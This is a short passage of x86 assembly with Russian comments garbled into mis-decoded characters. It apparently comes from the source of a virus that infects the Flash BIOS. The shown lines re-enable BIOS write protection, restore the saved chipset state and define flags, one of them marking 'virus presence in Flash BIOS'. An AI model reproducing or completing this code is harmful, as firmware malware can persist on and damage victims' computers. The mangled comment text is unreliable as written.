; 3Π°Ρ‰ΠΈΡ‚ΠΈΠΌ Flash BIOS ΠΎΡ‚ записи

mov al, 6

int 16h

; ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ, ΡΠΎΡ…Ρ€Π°Π½ΡΠ»ΠΎΡΡŒ Π»ΠΈ состояниС Ρ‡ΠΈΠΏΠ°, Ссли Π½Π΅Ρ‚ – Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΠΌ

cmp byte ptr cs:chipset, 0

jne No_Flash_BIOS

; Восстановим состояниС Ρ‡ΠΈΠΏΠ°

push cs

pop es

mov al, 3

mov di, offset buffer

int 16h

jmp No_Flash_BIOS

; Π€Π»Π°Π³ нСсохранСния состояния Ρ‡ΠΈΠΏΠ°

chipset db 0

; Π€Π»Π°Π³ присутствия вируса Π²ΠΎ Flash BIOS

flash_done db 0